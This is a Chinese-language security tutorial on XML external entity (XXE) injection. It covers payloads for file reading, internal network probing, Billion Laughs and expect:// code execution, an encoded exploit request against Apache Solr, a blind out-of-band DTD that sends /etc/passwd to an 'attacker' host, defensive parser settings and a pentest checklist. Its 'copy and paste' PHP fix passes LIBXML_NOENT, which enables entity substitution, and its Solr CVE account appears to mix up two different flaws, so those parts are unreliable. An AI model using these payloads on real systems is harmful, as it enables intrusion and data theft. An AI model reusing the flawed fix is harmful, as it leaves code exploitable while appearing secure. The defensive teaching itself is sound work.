作者:小雪花安全实验室 日期:2025-09-18
关键词:XML、DTD、External Entity、SSRF、RCE、libxml2、CVE-2024-40896
1. 什么是 XXE?
XML 外部实体注入(XML External Entity Injection,简称 XXE)是指应用程序解析用户可控的 XML 数据时,未禁用外部实体(DTD),导致攻击者可以:
- 读取任意文件(
file:///etc/passwd) - 扫描内网端口(SSRF)
- 触发拒绝服务(Billion Laughs)
- 在特定环境下执行远程代码(RCE)
2. XML 与 DTD 速览
2.1 实体(Entity)
实体就是 XML 中的“变量”,可复用一段字符串或外部资源。
<!-- 内部实体 -->
<!ENTITY greeting "Hello World">
<!-- 外部实体 -->
<!ENTITY secrets SYSTEM "file:///c:/windows/win.ini">
2.2 DTD(Document Type Definition)
DTD 用来定义 XML 结构,可以内嵌或外部引用。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
]>
<note>
<to>Tom</to>
<from>Jerry</from>
</note>
3. 漏洞原理
默认情况下,许多 XML 解析器(Java SAX/DOM、PHP SimpleXML、Python lxml、.NET XmlTextReader 等)会解析外部实体。
如果应用直接接收并解析用户提交的 XML,攻击者就能注入恶意 DTD:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
当后端返回 &xxe; 的解析结果时,文件内容就会作为响应回显。
4. 常见攻击手法
| 攻击目标 | 示例 payload | 说明 |
|---|---|---|
| 读文件 | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
回显或报错带出内容 |
| 读 PHP 源码 | php://filter/read=convert.base64-encode/resource=config.php |
避免 < 被解析 |
| 内网探测 | <!ENTITY xxe SYSTEM "http://192.168.1.8:22"> |
根据响应时间/错误判断端口开放 |
| 拒绝服务 | <!ENTITY lol "lol">...<!ENTITY lol9 "&lol8;&lol8;&lol8;">(Billion Laughs) |
指数级展开耗尽内存 |
| 远程代码执行 | <!ENTITY xxe SYSTEM "expect://id"> |
需 PHP 安装 expect 扩展 |
5. 典型 CVE 案例
5.1 Apache Solr XML 实体注入漏洞(CVE-2017-12629)
-
成因:
Apache Solr 默认使用VelocityResponseWriter处理/select?q=*&wt=velocity请求,且允许用户通过params.resource.loader.enabled=true(未禁用)加载任意模板。模板解析过程中,Velocity 引擎会调用SAXParser解析用户提供的 XML,而 Solr 未关闭外部实体解析,导致恶意 XML 中的外部实体被展开,造成文件读取或 SSRF。 -
影响版本:
Apache Solr 5.5.0 ~ 7.1.0(全系列默认配置均受影响) -
利用:
-
通过
/configAPI 将params.resource.loader.enabled置为true(默认已开启)。 -
发送如下 GET 请求即可触发 XXE:
GET /solr/collection1/select?q=*&wt=velocity&v.template=custom&v.template.custom=%23set(%24x='%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+xxe+SYSTEM+%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%25xxe%3B%5D%3E%3Croot%2F%3E')%23set(%24r=%24request.getParameter(%27r%27))%24x
-
返回包中直接出现
/etc/passwd内容;若目标在内网,可把实体换成http://169.254.169.254/latest/meta-data/实现 SSRF。 -
修复:
- 升级 Solr ≥ 7.2.0,官方已在
solrconfig.xml中默认把params.resource.loader.enabled设为false。 - 如暂时无法升级,在
solrconfig.xml显式关闭该参数:
<queryResponseWriter name="velocity" class="solr.VelocityResponseWriter">
<str name="params.resource.loader.enabled">false</str>
</queryResponseWriter>
- 对
/config端点开启认证与防火墙白名单,禁止外部直接调用。
5.2 Python lxml <= 5.2.0(默认无 XXE,但可被误配置)
- 误用代码:
python from lxml import etree etree.XML(xml_str) # 默认关闭外部实体,但开发者手动传入了 huge_tree=True 并自定义解析器 - 修复:使用
etree.XML(xml_str, parser=etree.XMLParser(resolve_entities=False))
6. 防御方案(开发视角)
6.1 关闭外部实体(语言速查)
| 语言/框架 | 安全配置示例 |
|---|---|
| Java | factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
| .NET | XmlReaderSettings settings = new() { DtdProcessing = DtdProcessing.Prohibit }; |
| PHP | libxml_disable_entity_loader(true);(PHP 8.0 已移除,需 libxml ≥ 2.9) |
| Python lxml | parser = XMLParser(resolve_entities=False) |
| Go encoding/xml | 默认不解析外部实体,无需额外设置 |
6.2 使用白名单验证
- 只允许 JSON 或简单标签,拒绝任何
<!DOCTYPE。 - 若必须支持 DTD,使用本地静态 DTD 并禁止网络获取。
6.3 网络层兜底
- 解析容器出网限制(禁止 80/443 以外)
- WAF 正则拦截
<!ENTITY.*SYSTEM - 对响应长度、异常进行监控,发现 Billion Laughs 立即熔断
7. 渗透测试 checklist
✅ 手动探测
- 修改 Content-Type: application/xml
- 发送简单 payload 观察是否回显 /etc/passwd 或报错信息
✅ 自动化扫描
- OWASP ZAP / Burp Scanner 自带 XXE 插件
- xxeinjector, xxeserv 快速启动 FTP/HTTP 接收 OOB 数据
✅ 代码审计关键词
- DocumentBuilder, SAXParser, XmlReader, SimpleXML, lxml, libxml
- resolve_entities, setFeature, DTD/DOCTYPE
✅ 盲打 OOB(数据不回显)
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker/?p=%file;'>">
%eval;
%exfil;
]>
在 VPS 查看访问日志即可拿到文件内容。
8. 一键修复模板(Copy & Paste)
public final class SafeXmlUtil {
private SafeXmlUtil() {}
public static Document parse(String xml) throws Exception {
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);
return f.newDocumentBuilder().parse(new InputSource(new StringReader(xml)));
}
}
$old = libxml_use_internal_errors(true); // PHP 8.0 之前可关闭实体加载
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOENT); // LIBXML_NONET 禁止网络
libxml_use_internal_errors($old);
9. 参考资源
- OWASP Top 10 2021 – A05 Security Misconfiguration(含 XXE)
- CWE-611: Improper Restriction of XML External Entity Reference
- Apache OFBiz Security Advisory 2024-08-22 – CVE-2024-40896
- PortSwigger Web Security Academy – XXE Topic
- GitHub PayloadsAllTheThings/XXE
版权声明:如无特殊说明,文章均为本站原创,转载请注明出处
本文链接:https://www.secsnow.cn/wiki/subject/article/xml/
许可协议:署名-非商业性使用 4.0 国际许可协议